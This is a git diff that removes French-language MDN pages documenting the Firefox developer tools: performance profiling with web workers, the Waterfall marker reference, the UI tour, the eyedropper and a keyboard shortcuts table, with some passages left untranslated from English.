Utiliser requestAnimationFrame pour résoudre le problème de réactivité a fonctionné ici. Cependant, il existe quelques problèmes potentiels à cette solution :

- -
    -
  • Il peut être difficile de fractionner des longues fonctions. Même cet exemple simple a rendu nécessaire l'écriture de code plus complexe.
    • -
  • La version fractionnée prend beaucoup plus de temps à s'exécuter. En fait il est possible d'être assez précis sur le temps utilisé : il y a 50 itérations, et le navigateur tourne à 60 frames par secondes. Cela prendra donc presque une seconde d'exécuter tous les calculs, et cela à des répercussions sur l'expérience utilisateur et sur le profil.
    • -
- -

Utilisation des web workers

- -

Cette solution tente de régler le problème en utilisant un web worker. Les web workers permettent d'exécuter du JavaScript dans un thread séparé. Le thread principal et le thread du worker ne peuvent pas s'appeler directement, mais peuvent cependant communiquer via une API de messagerie asynchrone.

- -

Le code du thread principal doit ressembler à ceci :

- -
const iterations = 50;
-const multiplier = 1000000000;
-
-var worker = new Worker("js/calculate.js");
-
-function doPointlessComputationsInWorker() {
-
-  function handleWorkerCompletion(message) {
-    if (message.data.command == "done") {
-      pointlessComputationsButton.disabled = false;
-      console.log(message.data.primes);
-      worker.removeEventListener("message", handleWorkerCompletion);
-    }
-  }
-
-  worker.addEventListener("message", handleWorkerCompletion, false);
-
-  worker.postMessage({
-    "multiplier": multiplier,
-    "iterations": iterations
-  });
-}
- -

La différence avec le code original est que l'on a besoin de :

- -
    -
  • Créer un worker.
    • -
  • Lui envoyer un message lorsque l'on est pretr à calculer.
    • -
  • Être à l'écoute d'un message nommé "done", qui indique quand le worker est finni.
    • -
- -

Un fichier "calculate.js", est également nécessaire, son code est le suivant :

- -
self.addEventListener("message", go);
-
-function go(message) {
-  var iterations = message.data.iterations;
-  var multiplier = message.data.multiplier;
-  primes = calculatePrimes(iterations, multiplier);
-
-  self.postMessage({
-    "command":"done",
-    "primes": primes
-  });
-}
-
-function calculatePrimes(iterations, multiplier) {
-  var primes = [];
-  for (var i = 0; i < iterations; i++) {
-    var candidate = i * (multiplier * Math.random());
-    var isPrime = true;
-    for (var c = 2; c <= Math.sqrt(candidate); ++c) {
-      if (candidate % c === 0) {
-          // not prime
-          isPrime = false;
-          break;
-       }
-    }
-    if (isPrime) {
-      primes.push(candidate);
-    }
-  }
-  return primes;
-}
- -

Dans le worker, il est nécessaire d'être à l'écoute d'un message donnant l'ordre de démarrer. Il est également nécessaire d'envoyer un message "done" lorsque les calculs sont finis. La partie du code qui réalise les calculs elle n'a pas changé.

- -

Comment s'en tire cette version ? Pour le savoir, il suffit de sélectionner "Use a worker", et de capturer un nouveau profil. Il devrait ressembler à ceci :

- -

- -

Dans ce profil, le bouton a été pressé trois fois. Comparé à l'original, chaque pression de bouton est visible dans le résumé sous la forme de deux blocs orange très courts :

- -
    -
  • La fonction doPointlessComputationsInWorker() qui gère l'évènement de clic et lance le worker
    • -
  • La fonction handleWorkerCompletion() qui s'exécute lorsque le worker appelle "donne".
    • -
- -

Entre ces deux blocs, le worker effectue ses opérations, et n'a aucun effet visible sur le frame rate et donc sur la réactivité du thread principal. Cela peut sembler étrange, mais puisque le worker s'exécute dans thread séparé, l'ordinateur peut profiter de l'architecture multi coeurs, ce qu'un site web à thread unique ne peut pas faire.

- -

La limitation principale des webs workers est que le code qui s'exécute dans un worker n'a pas accès à l'API DOM.

diff --git a/files/fr/outils/performance/ui_tour/index.html b/files/fr/outils/performance/ui_tour/index.html deleted file mode 100644 index b364f3029b..0000000000 --- a/files/fr/outils/performance/ui_tour/index.html +++ /dev/null @@ -1,125 +0,0 @@ ---- -title: UI Tour -slug: Outils/Performance/UI_Tour -translation_of: Tools/Performance/UI_Tour ---- -
{{ToolsSidebar}}
- -

La plateforme d'outils se découpe en 4 parties principales :

- - - -

Outil

- -

La boite à outils contient les boutons pour :

- -
    -
  • commencer et arrêter l'enregistrement
    • -
  • importer les enregistrements de vos sauvegardes précédentes
    • -
  • nettoyer le volet d'enregistrements. à noter que si vous faîtes cela, vous perdrez tout ce que vous n'avez pas sauvegardé.L.
    • -
  • filtrer les markers qui sont affichés dans la vue Cascade
    • -
  • switch the active tool in the Details pane.
    • -
  • accéder au menu des paramètres
    • -
- -

- -

Recordings pane

- -

The recordings pane lists all the recordings you have loaded, including any you have made in this session and any you have imported.

- -

- -

Pour un temps donné, un enregistrement est sélectionné, et cet enregistrement est affiché dans le reste de l'outil. Pour sélectionner un enregistrement différent, cliquer sur son entrée dans le panneau. Pour sauvegarder l'enregistrement en tant que fichier d'extension JSON, appuyer sur "Save".

- -

Vue d'ensemble de l'enregistrement

- -

Ceci affiche une vue d'ensemble de la totalité de l'enregistrement.This displays an overview of the entire recording, with the x-axis representing time.

- -

- -

It contains two elements: an overview of the Waterfall and a frame rate graph.

- -

Waterfall overview

- -

This presents a compressed view of the Waterfall:

- -

- -

Recorded operations are color-coded using the same scheme as in the main Waterfall view.

- -

Frame rate graph

- -

The frame rate gives you an overview of the browser's responsiveness during the recording:

- -

- -

See the separate article on frame rate.

- -

Correlating events

- -

Because these elements are synchronized, you can correlate events in one element with events in another.

- -

For example, in the screenshot below a long-running paint operation (shown as a green bar in the waterfall overview) corresponds to a drop in the frame rate:

- -

- -

Zooming in

- -

You can use the overview to select a slice of the recording to examine in more detail. Select a slice, and the main view will be updated to contain just the part selected. In the screenshot below we've selected that drop in the frame rate, and can see the long-running paint operation in more detail:

- -

- -

Details pane

- -

The Details pane shows whichever tool is currently selected. To switch to a different tool, use the buttons in the Toolbar.

- -

Waterfall

- -

The Waterfall presents a view of the work the browser is doing during the recording: executing JavaScript, updating the CSS, updating the page layout, and performing repaints. The x-axis represents time, and the recorded operations are laid out as a waterfall, reflecting the serial nature of the browser's execution.

- -

- -

To learn much more about the Waterfall, see the separate Waterfall page.

- -

Call Tree

- -

The Call Tree is a sampling profiler for JavaScript running in the page. It periodically samples the state of the JavaScript engine, and records the stack for the code executing at the time the sample was taken. Statistically, the number of samples taken in which we were executing a particular function corresponds to the amount of time the browser is spending executing it, so you can identify bottlenecks in your code.

- -


- To learn much more about the Call Tree, see the separate Call Tree page.

- -

Flame Chart

- -

If the Call Tree tells you, statistically, which functions your site is spending most time executing across the whole recording, the Flame Chart tells you the call stack at any given point during the recording:

- -

- -

To learn much more about the Flame Chart, see the separate Flame Chart page.

- -

Allocations

- -
-

La vue Allocations est une des nouvautés de Firefox 46.

-
- -

La vue Allocations ressemble à la vue Call tree view is like the Call Tree view, but for allocations: it shows you which functions in your page are allocating the most memory over the course of the profile.

- -

- -

The Allocations view only appears if you checked "Record Allocations" in the Performance tool settings, before recording a profile:

- -

{{EmbedYouTube("Le9tTo7bqts")}}

- -

To learn much more about the Allocations view, see the separate Allocations page.

diff --git a/files/fr/outils/performance/waterfall/index.html b/files/fr/outils/performance/waterfall/index.html deleted file mode 100644 index cf30f9a81d..0000000000 --- a/files/fr/outils/performance/waterfall/index.html +++ /dev/null @@ -1,481 +0,0 @@ ---- -title: Chronologie -slug: Outils/Performance/Waterfall -translation_of: Tools/Performance/Waterfall ---- -
{{ToolsSidebar}}
- -
-

La chronologie vous donne des indications sur les opérations qu'effectue le navigateur lorsqu'il fait tourner une page web ou une application. Cet outil se base sur l'idée que les opérations qu'effectue un navigateur peuvent être divisées en plusieurs types : exécution du JavaScript, mise à jour du layout, et ainsi de suite... Ainsi que l'idée qu'à n'importe quel point donné dans le temps, le navigateur effectue l'une ou l'autre de ces actions.

- -

Donc, si vous voyez un problème de performance - une chute du frame rate par exemple - vous pouvez utiliser la chronologie pour voir ce que le navigateur faisait à ce moment de l'enregistrement.

-
- -

- -

L'axe X représente le temps. Les opérations enregistrées, appelées marqueurs sont affichées sous la forme de barres de couleur horizontales. Ces marqueurs sont disposés en cascade pour refléter le caractère séquentiel de l'exécution du navigateur.

- -

Lorsqu'un marqueur est sélectionné, des informations supplémentaires sur celui-ci s'affichent dans le panneau de droite. Ces informations intègrent la durée du marqueur et quelques informations spécifiques de son type.

- -

Marqueurs

- -

Les marqueurs possèdent un code couleur et un libellé. Les opérations suivantes sont enregistrées :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Nom et descriptionCouleurInformations détaillées
-

Évènements DOM

- -

Le code JavaScript qui est exécuté en réponse à un évènement DOM.

- 		-
-
Type de l'évènement
-
Par exemple, "click" ou "message".
-
- -
-
Phase de l'évènement
-
Par exemple "Target" ou "Capture".
-
-
-

Les fonctions JavaScript exécutées dans la page ont le libellé de la raison pour laquelle la fonction a été appelée :

- -

Script Tag
- setInterval
- setTimeout
- requestAnimationFrame
- Promise Callback
- Promise Init
- Worker
- JavaScript URI
- Event Handler

- 		-
-
Pile
-
La pile d'appels avec des liens vers les fonctions.
-
-
-

Parse HTML

- -

Le temps passé à parser le HTML de la page.

- 		-
-
Pile
-
La pile d'appels avec des liens vers les fonctions.
-
-
-

Parse XML

- -

Le temps passé à parser le XML de la page.

- 		-
-
Pile
-
La pile d'appels avec des liens vers les fonctions.
-
-
-

Recalcul des styles

- -

Le calcul des styles qui s'appliquent aux éléments de la page.

- 		-
-
Causes du recalcul
-
Une chaine de caractères indiquant quel type de recalcul est nécessaire. Elle peut prendre les valeurs suivantes :
- Self
- Subtree
- LaterSiblings
- CSSTransitions
- CSSAnimations
- SVGAttrAnimations
- StyleAttribute
- StyleAttribute_Animations
- Force
- ForceDescendants
-
-
-

Layout

- -

Le calcul des positions et de la taille des éléments de la page. Cette opération est parfois appelée "reflow".

- 		 
-

Paint

- -

Affichage des pixels à l'écran

- 		 
-

Ramasse-miettes

- -

évènement de garbage collection. Les évènements GC non incrémentaux sont nommés "non incrémentiel".

- 		-
-
Raison
-
Une chaine de caractères indiquant la raison pour laquelle le ramasse-miettes a été effectué.
-
Raison du cycle non incrémentiel
-
Si l'évènement n'était pas incrémentiel, une chaine expliquant pourquoi la GC a été effectuée.
-
 
-
-
-

Nouveau dans Firefox 46: Si l’évènement GC a été causé par une d'allocation, un nouveau lien "Show Allocation Triggers". Cliquer dessus affiche le profil d'allocation menant à cet évènement.

- -

Voir Allocations et Ramasse-miettes pour plus d'informations.

-
-
-
-
-

Cycle Collection

- -

Récupération des structures de données C++ qui sont en "reference-count"

- -

Semblable au ramasse-miette, mais pour les objets C++. Voir l'article de blog de Kyle Huey sur le cycle collection.

- 		-
-
Type
-
Toujours "Collect"
-
-
-

Réduction d'arbre de ramasse-miettes

- -

Préparation/préoptimisation pour le Cycle Collection.

- 		  -

                  Type

-   - -
-
Toujours "ForgetSkippable".
-
-
-

Console

- -

La période entre les appels à console.time() et console.timeEnd().

- 		-
-
Nom du timer
-
L'argument passé aux fonctions console.
-
Pile au début
-
La pile d'appels à console.time(), avec des liens vers les fonctions.
-
Pile de fin
-
(Nouveau dans Firefox 41). La pile d'appels console.timeEnd(). S'il s'agit d'un appel dans un callback de Promise, cela montrera également la "Async stack".
-
-
-

Timestamp

- -

Un appel unique à console.timeStamp().

- 		-
-
Label
-
L'argument passé à timeStamp().
-
-
-

DOMContentLoaded

- -

L'évènement DOMContentLoaded du document

- 		 
-

Load

- -

L'évènement load du document.

- 		 
-

Évènement dans le thread principal du worker

- -

Affiché lorsque le thread principal envoie un message à un worker, ou reçoit un message d'un worker.

- 		-

Un parmi :

- -
-
Sérialisation des données sur le thread principal
-
Le thread principal sérialise un message pour l'envoyer au worker
-
Déserialisation des données sur le thread principal
-
Le thread principal désérialise un message pour l'envoyer au worker
-
-
-

Worker event in worker thread

- -

Affiché lorsque le worker  envoie un message à un worker, ou reçoit un message du thread principal.

- 		-

Un parmi :

- -
-
Serialisation des données dans le Worker
-
Le worker sérialise un message pour l'envoyer au thread principal
-
Déserialisation des données dans le Worker
-
Le worker désérialise un message pour l'envoyer au thread principal
-
-
- -

Les marqueurs et leurs couleurs sont les mêmes dans la chronologie que dans la vue d'ensemble de la chronologie.

- -

Filtrer les marqueurs

- -

Il est possible de contrôler quels marqueurs sont affichés en utilisant le bouton dans la barre d'outils :

- -

- -

Motifs de la chronologie

- -

Le contenu de l´enregistrement dépend énormément des opérations réalisées par le site : Les sites utilisant beaucoup de JavaScript auront un profil à dominance orange, alors que les sites à contenu visuel dynamique auront beaucoup de violet et de vert. Cependant certains motifs communs peuvent vous indiquer de possibles problèmes de performance.

- -

Chronologie de rendu

- -

Le motif suivant est très courant dans la vue de la chronologie :

- -

- -

C'est une visualisation de l´algorithme de base qu'utilise le navigateur pour mettre à jour la page en réponse à un évènement :

- -
    -
  1. JavaScript Function Call: Un évènement quelconque - par exemple un évènement DOM - a pour effet de lancer du JavaScript. Le code change du DOM ou du CSSOM.
    2. -
  2. Recalculate Style: Si le navigateur pense que des styles calculés de la page ont changé, il les recalcule.
    3. -
  3. Layout: Puis, le navigateur utilise les styles calculés pour déterminer la position et la géométrie des éléments. Cette opération est étiquetée "layout", mais on l'appelle aussi « reflow ».
    4. -
  4. Paint: Enfin, le navigateur a besoin de réafficher les éléments à l'écran. Une dernière étape n'est pas représentée dans cette séquence: La page peut être divisée en couches, qui sont affichées indépendamment puis assemblées lors d'un processus appelé "Composition".
    5. -
- -

Cette séquence doit se terminer en une seule image, puisque l'écran n'est pas mis à jour avant qu'elle soit terminée. Il est communément admis que 60 images/secondes est la vitesse à laquelle les animations apparaîtront fluides. Pour un taux de 60 images/secondes, cela laisse au navigateur 16,7 millisecondes pour exécuter le flow complet.

- -

Il est important pour la réactivité à ce que le navigateur n´ait pas à passer par toutes ces étapes à chaque fois :

- -
    -
  • Les animations CSS mettent à jour la page sans avoir besoin d'exécuter du JavaScript.
    • -
  • Toutes les propriétés CSS modifiées ne causent pas de « reflow ». Modifier des propriétés qui changent la position ou la géométrie d'un objet, telles que width, display, font-size, ou top, provoqueront un « reflow ». Par contre, modifier des propriétés qui ne changent par la géométrie ou le positionnement, telles que color ou opacity, n'en feront rien.
    • -
  • Toutes les propriétés CSS modifiées n'amènent pas à un repaint. En particulier, si vous animez un élément en utilisant la propriété transform, le navigateur utilisera une couche séparée pour l'élément transformé, et n'aura peut-être même pas à faire un repaint si l'élément est déplacé : Sa nouvelle position est traitée dans la composition.
    • -
- -

L'article Animer des propriétés CSS montre qu'animer différentes propriétés CSS peut donner des résultats de performance différents, et comment la chronologie peut aider à le voir.

- -

JavaScript bloquant

- -

Par défaut, le JavaScript des pages web est exécuté sur le même thread que celui que le navigateur utilise pour les mises à jour de layout, les repaints, les évènements DOM et ainsi de suite. Cela signifie que des fonctions JavaScript qui mettent longtemps à s´exécuter peuvent causer des ralentissements (jank). Les animations ne seront pas fluides et le site pourra même freezer.

- -

En utilisant l'outil frame rate et la « chronologie », il est facile de voir lorsque des fonctions JavaScript posent problème. Dans la capture d´écran ci-dessous, un zoom a été fait sur une fonction JS qui cause une chute du frame rate :

- -

- -

L'article JavaScript Intensif montre comment la « chronologie » peut mettre en évidence les problèmes de réactivité causés par des fonctions JavaScript trop gourmandes, et comment utiliser des méthodes asynchrones pour garder le thread principal réactif.

- -

« Décorations » coûteuses

- -

Certains effets tels que box-shadow, peuvent être coûteux ; surtout lors de transitions où le navigateur doit recalculer cet effet à chaque image. Si vous remarquez des chutes de frame rate surtout lors d'opérations et transitions graphiques couteuses, recherchez les longs marqueurs verts (repaint) dans la chronologie.

- -

Ramasse-miettes (Garbage Collection)

- -

Les marqueurs rouges dans la chronologie représentent le passage du ramasse-miettes (GC), pour lequel SpiderMonkey (le moteur JavaScript de Firefox) parcourt la pile à la recherche d´éléments en mémoire qui ne sont plus accessible pour les libérer. La GC est un indice de performance, car lorsqu’elle « tourne », le moteur JavaScript doit être en pause et donc le programme est mis en pause et ne répondra pas.

- -

Pour aider à réduire la durée de ces pauses, SpiderMonkey implémente une GC morcelée. Cela signifie qu´il peut faire de la garbage collection par petites « passes », permettant au programme de tourner entre celles-ci. Parfois, le moteur à besoin de réaliser une garbage collection complète et non par morceaux et alors, le programme a besoin d'attendre la fin de cette opération.

- -

Pour essayer d’éviter les évènements GC et surtout les passages complets, il est sage de ne pas essayer d'optimiser pour l'implémentation spécifique du moteur JavaScript. SpiderMonkey utilise un ensemble complexe d'heuristiques pour déterminer quand la GC est nécessaire, et quand une GC non incrémentale en particulier est nécessaire. En général cependant :

- -
    -
  • La GC est nécessaire lorsque beaucoup de mémoire est allouée.
    • -
  • La GC complète est généralement nécessaire lorsque le taux d'allocation mémoire est assez haut pour que SpiderMonkey puisse être à court de mémoire durant une GC morcelée.
    • -
- -

Lorsque la Chronologie enregistre un marqueur GC, cela indique :

- -
    -
  • Si le ramasse-miettes passait de manière morcelée ou pas.
    • -
  • La raison de l'événement GC qui a eu lieu.
    • -
  • Si la passe du ramasse-miettes était complète, et la raison pour laquelle elle l'était.
    • -
  • Depuis de Firefox 46, si l’évènement GC a été causé par une d'allocation, un nouveau lien "Show Allocation Triggers". Cliquer dessus affiche le profil d'allocation menant à cet évènement. Voir Allocations et Ramasse-miettes pour plus d'informations.
    • -
- -

Ajouter des marqueurs avec la console API

- -

Deux marqueurs peuvent être contrôlés par des appels à la console API : "Console" et "Timestamp".

- -

Marqueurs de console

- -

Ces marqueurs permettent de marquer une section spécifique de l'enregistrement.

- -

Pour faire un marqueur console, il faut appeler console.time() au début d'une section, et console.timeEnd() à la fin. Ces fonctions prennent un argument qui est le nom de la section.

- -

Par exemple si nous avons un code comme ceci :

- -
var iterations = 70;
-var multiplier = 1000000000;
-
-function calculatePrimes() {
-
-  console.time("calculating...");
-
-  var primes = [];
-  for (var i = 0; i < iterations; i++) {
-    var candidate = i * (multiplier * Math.random());
-    var isPrime = true;
-    for (var c = 2; c <= Math.sqrt(candidate); ++c) {
-      if (candidate % c === 0) {
-          // not prime
-          isPrime = false;
-          break;
-       }
-    }
-    if (isPrime) {
-      primes.push(candidate);
-    }
-  }
-
-  console.timeEnd("calculating...");
-
-  return primes;
-}
- -

La sortie de la Chronologie ressemblera à ceci :

- -

- -

Le marqueur est nommé par l'argument passé à console.time(), et lorsque le marqueur est sélectionné, il est possible de voir la pile du programme dans l'encadré sur le coté droit.

- -

Tache Async

- -

Nouveau dans Firefox 41.

- -

À partir de Firefox 41, l'encadré de droite affichera également la stack à la fin de la période. C´est à dire au moment où console.timeEnd() a été appelé. Si console.timeEnd() a été appelé par la résolution d'une Promise, l'encadré affichera également le label "(Async: Promise)", sous lequel sera affiché la "async stack" : Il s'agit de la pile d'appels au moment où la promise a été faite.

- -

Par exemple, avec ce code :

- -
var timerButton = document.getElementById("timer");
-timerButton.addEventListener("click", handleClick, false);
-
-function handleClick() {
-  console.time("timer");
-  runTimer(1000).then(timerFinished);
-}
-
-function timerFinished() {
-  console.timeEnd("timer");
-  console.log("ready!");
-}
-
-function runTimer(t) {
-  return new Promise(function(resolve) {
-    setTimeout(resolve, t);
-  });
-}
- -

La Chronologie affichera un marqueur pour la période entre time() et timeEnd(), et s’il est sélectionné, la pile async apparaitra dans l'encadré :

- -

- -

Marqueurs de temps

- -

Les Timestamps permettent de marquer un instant dans l'enregistrement.

- -

Pour faire un timestamp, il faut appeler console.timeStamp(). Il est possible de passer un argument pour nommer le timestamp.

- -

Par exemple, supposons que nous adaptions le code au-dessus pour faire un timestamp toutes les 10 itérations de la boucle ayant pour nom le nombre de l'itération :

- -
var iterations = 70;
-var multiplier = 1000000000;
-
-function calculatePrimes() {
-  console.time("calculating...");
-
-  var primes = [];
-  for (var i = 0; i < iterations; i++) {
-
-    if (i % 10 == 0) {
-      console.timeStamp(i.toString());
-    }
-
-    var candidate = i * (multiplier * Math.random());
-    var isPrime = true;
-    for (var c = 2; c <= Math.sqrt(candidate); ++c) {
-      if (candidate % c === 0) {
-          // not prime
-          isPrime = false;
-          break;
-       }
-    }
-    if (isPrime) {
-      primes.push(candidate);
-    }
-  }
-  console.timeEnd("calculating...");
-  return primes;
-}
- -

Dans la Chronologie, vous verrez quelque chose comme ceci :

- -

diff --git "a/files/fr/outils/pipette_\303\240_couleur/index.html" "b/files/fr/outils/pipette_\303\240_couleur/index.html" deleted file mode 100644 index 090cf16ce1..0000000000 --- "a/files/fr/outils/pipette_\303\240_couleur/index.html" +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: Pipette à couleur -slug: Outils/Pipette_à_couleur -tags: - - Firefox - - Tools - - 'Web Development:Tools' -translation_of: Tools/Eyedropper ---- -
{{ToolsSidebar}}
-

La pipette à couleur est unes des nouvautées de Firefox 31.

-
- -

La pipette à couleur vous permet de sélectionner des couleurs dans la page courante. Cela marche comme une loupe au-dessus de la page, vous permettant de sélectionner au pixel près. En dessous de la loupe, le code couleur du pixel courant est affiché sous le format choisi dans Options > Inspecteur > Unité par défaut pour les couleurs :

- -

Vous pouvez l'utiliser de deux manières :

- -
    -
  • pour sélectionner une couleur depuis la page et la copier dans le presse-papier
    • -
  • pour changer une couleur dans l'inspecteur web vers une couleur que vous avez sélectionnée dans la page
    • -
- -

Copier une couleur dans le presse-papier

- -

Ouvrez la pipette d'une des deux manières suivantes :

- - - -

En même temps que vous bougez votre curseur sur la page, vous voyez la couleur associée dans la pipette. Cliquez pour copier le code couleur dans le presse-papier.

- -

{{EmbedYouTube("xf2uk6UyRB8")}}

- -

Changer la valeur d'une couleur dans la colonne vue.

- -

Les valeurs des couleurs qui apparaissent dans la partie Règle de l'Inspecteur ont un échantillon de la couleur à côté d'elles : cliquer sur l'échantillon fait apparaître une fenêtre de sélection de couleurs. Depuis Firefox 31, cette fenêtre contient aussi une petite pipette : cliquer sur l'icône active la Pipette.

- -

Maintenant, lorsque vous cliquez sur la Pipette, la couleur dans la colonne Règle a pour valeur la couleur que vous avez choisie.

- -


- {{EmbedYouTube("0Zx1TN21QOo")}}

- -

Raccourcis clavier

- -

{{ Page ("fr/docs/Outils/Keyboard_shortcuts", "Pipette") }}

diff --git a/files/fr/outils/raccourcis_claviers/index.html b/files/fr/outils/raccourcis_claviers/index.html deleted file mode 100644 index 0861359c77..0000000000 --- a/files/fr/outils/raccourcis_claviers/index.html +++ /dev/null @@ -1,1134 +0,0 @@ ---- -title: Raccourcis claviers -slug: Outils/Raccourcis_claviers -tags: - - Tools -translation_of: Tools/Keyboard_shortcuts ---- -
{{ToolsSidebar}}
- -

Cette page liste tous les raccourcis clavier utilisés par les outils de développement intégrés à Firefox.

- -

La première section liste les raccourcis utilisés pour ouvrir chaque outil. La deuxième section liste les raccourcis concernant la boîte à outils. Chaque section suivante concernera un outil et ses raccourcis dédiés.

- -

Les raccourcis d'accessibilité, dépendants de la locale, ne sont pas documentés sur cette page.

- -

Ouvrir et fermer les outils

- -

Ces raccourcis fonctionnent dans la fenêtre principale du navigateur et permettent d'ouvrir un outil donné. Pour les outils situés dans la boîte à outils, ils permettent aussi de fermer l'outil si celui-ci est déjà ouvert. Pour les outils qui s'ouvrent dans une nouvelle fenêtre (tels que la console), vous devrez fermer la fenêtre pour fermer l'outil.

- -
-

Note: Avant Firefox 66, la combinaison Ctrl + Maj + S sur Windows et Linux ou Cmd + Opt + S sur macOS ouvrait/fermait le Débogueur. Depuis Firefox 66, ce n'est plus le cas.

-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
CommandeWindowsmacOSLinux
Boîte à outils (s'ouvre sur le dernier outil utilisé)Ctrl + Maj + ICmd + Opt + ICtrl + Maj + I
Mettre la Boîte à outils au premier plan (si la boite est ouverte dans une autre fenêtre qui n'est pas au premier plan)Ctrl + Maj + I or F12Cmd + Opt + I or F12Ctrl + Maj + I or F12
Fermer la Boîte à outils (si la boite est ouverte dans une fenêtre séparée et est au premier plan)Ctrl + Maj + I or F12Cmd + Opt + I or F12Ctrl + Shift + I or F12
Console Web1Ctrl + Maj + KCmd + Opt + KCtrl + Maj + K
InspecteurCtrl + Maj + CCmd + Opt + CCtrl + Maj + C
Éditeur de styleMaj + F7Maj + F71Maj + F7
ProfileurMaj + F5Maj + F51Maj + F5
Réseau 2Ctrl + Maj + ECmd + Opt + ECtrl + Maj + E
Barre de développement (afficher/masquer)Maj + F2Maj + F21Maj + F2
Vue adaptative (afficher/masquer)Ctrl + Maj + MCmd + Opt + MCtrl + Maj + M
Console du navigateur3Ctrl + Maj + JCmd + Opt + JCtrl + Maj + J
Boite à outils du navigateurCtrl + Alt +Maj + ICmd + Opt +Maj + ICtrl + Alt +Maj + I
Ardoise JavaScriptMaj + F4Maj + F4Maj + F4
WebIDEMaj + F8Maj + F8Maj + F8
Inspecteur de Stockage 4Maj + F9Maj + F9Maj + F9
- -

1. Contrairement aux autres outils de la boîte à outils, ce raccourci ne ferme pas également la console. Pour la console, cela passe le focus sur la ligne de commande de la console. Pour fermer la console, utilisez le raccourci global de la boîte à outils de Ctrl + Maj + I (Cmd + Opt + I sur Mac).

- -

2. Avant Firefox 55 le raccourci était Ctrl + Maj + Q (Cmd + Opt + Q sur Mac).

- -

3. Avant Firefox 38, quand la console du navigateur était cachée par une fenêtre de Firefox, le raccourci clavier fermait la console. Depuis Firefox 38, ce raccourci clavier met la console au premier plan.

- -

4. L'outil est désactivé par défaut. Le raccourci ne fonctionnera pas tant que l'outil n'aura pas été activé dans le panneau des Options des outils.

- -

Outils de développement

- -
-

Ces raccourcis fonctionnent quand les outils sont ouverts, quel que soit l'outil sélectionné.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
CommandeWindowsmacOSLinux
Faire défiler les outils de gauche à droiteCtrl + ]Cmd + ]Ctrl + ]
Faire défiler les outils de droite à gaucheCtrl + [Cmd + [Ctrl + [
Alterner entre l'outil ouvert et les optionsCtrl + Maj + OCmd + Maj + OCtrl + Maj + O
Alterner entre l'outil ouvert et les options (depuis Firefox 43)F1F1F1
Alterner entre les deux derniers modes d'ancrages (depuis Firefox 41)Ctrl + Maj + DCmd + Maj + DCtrl + Maj + D
Activer la console scindée (sauf si l'outil sélectionné est la Console)EscEscEsc
-
- -
-

Ces raccourcis fonctionnent pour tous les outils dans la boîte à outils.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - -
CommandeWindowsmacOSLinux
Augmenter la taille de la policeCtrl + +Cmd + +Ctrl + +
Diminuer la taille de la policeCtrl + -Cmd + -Ctrl + -
Réinitialiser la taille de la policeCtrl + 0Cmd + 0Ctrl + 0
-
- -

Éditeur de code source

- -
-

Cette liste présente les raccourcis par défaut pour l'éditeur de code source.

- -

Dans les options de l'éditeur, vous pouvez choisir d'utiliser les raccourcis Vim, Emacs, ou Sublime Text.

- -

Pour les sélectionner, rendez-vous dans about:config, sélectionnez le paramètre devtools.editor.keymap et lui affecter la valeur « vim », « emacs », ou « sublime ». Ainsi, les commandes sélectionnées seront utilisées pour tous les outils de développement qui utilisent l'éditeur de source. Il vous faudra réouvrir l'éditeur pour que ce changement soit pris en compte.

- -

A partir de Firefox 33, cette option est directement disponible dans la section des préférences de l'éditeur dans le panneau « Options des outils » (plutôt que de passer par about:config).

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
CommandeWindowsmacOSLinux
Aller à la ligneCtrl + JCmd + JCtrl + J
Chercher dans le documentCtrl + FCmd + FCtrl + F
Chercher à nouveauCtrl + GCmd + GCtrl + G
Tout sélectionnerCtrl + ACmd + ACtrl + A
CouperCtrl + XCmd + XCtrl + X
CopierCtrl + CCmd + CCtrl + C
CollerCtrl + VCmd + VCtrl + V
AnnulerCtrl + ZCmd + ZCtrl + Z
RétablirCtrl + Maj + Z / Ctrl + YCmd + Maj + Z / Cmd + YCtrl + Maj + Z / Ctrl + Y
IndenterTabTabTab
DésindenterMaj + TabMaj + TabMaj + Tab
Déplacer la/les ligne(s) vers le hautAlt + HautAlt + HautAlt + Haut
Déplacer la/les ligne(s) vers le basAlt + BasAlt + BasAlt + Bas
Commenter/décommenter la/les ligne(s)Ctrl + /Cmd + /Ctrl + /
-
- -

Inspecteur de document

- -
- - - - - - - - - - - - - - - -
CommandeWindowsmacOSLinux
Ouvrir l'inspecteurCtrl + Maj + CCmd + Opt + CCtrl + Maj + C
- -

Sélecteur de noeuds

- -

Ces raccourcis fonctionnent lorsque le sélecteur de noeuds est actif.

- - - - - - - - - - - - - - - - - - - - - - -
CommandeWindowsmacOSLinux
Sélectioner l'élément en dessous de la souris et arrête la sélectionClicClicClic
Sélectioner l'élément en dessous de la souris et continue la sélectionShift+ClickShift+ClickShift+Click
- -

Onglet HTML

- -

Ces raccourcis fonctionnent dans l'onglet HTML de l'inspecteur.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
CommandeWindowsmacOSLinux
Supprimer le nœud sélectionnéSupprSupprSuppr
Annuler la suppression d'un nœudCtrl + ZCmd + ZCtrl + Z
Rétablir la suppression d'un nœudCtrl + Maj + Z / Ctrl + YCmd + Maj + Z / Cmd + YCtrl + Maj + Z / Ctrl + Y
Aller au prochain nœud (développe les nœuds uniquement)Flèche basFlèche basFlèche bas
Aller au nœud précédentFlèche hautFlèche hautFlèche haut
Aller au premier nœud dans l'arbreDébutDébutDébut
Aller au dernier nœud dans l'arbreFinFinFin
Développer le nœud actuellement sélectionnéFlèche droiteFlèche droiteFlèche droite
Réduire le nœud actuellement sélectionnéFlèche gaucheFlèche gaucheFlèche gauche
(Lorsqu'un nœud est sélectionné) Itérer parmi les attributsEntréeRetourEntrée
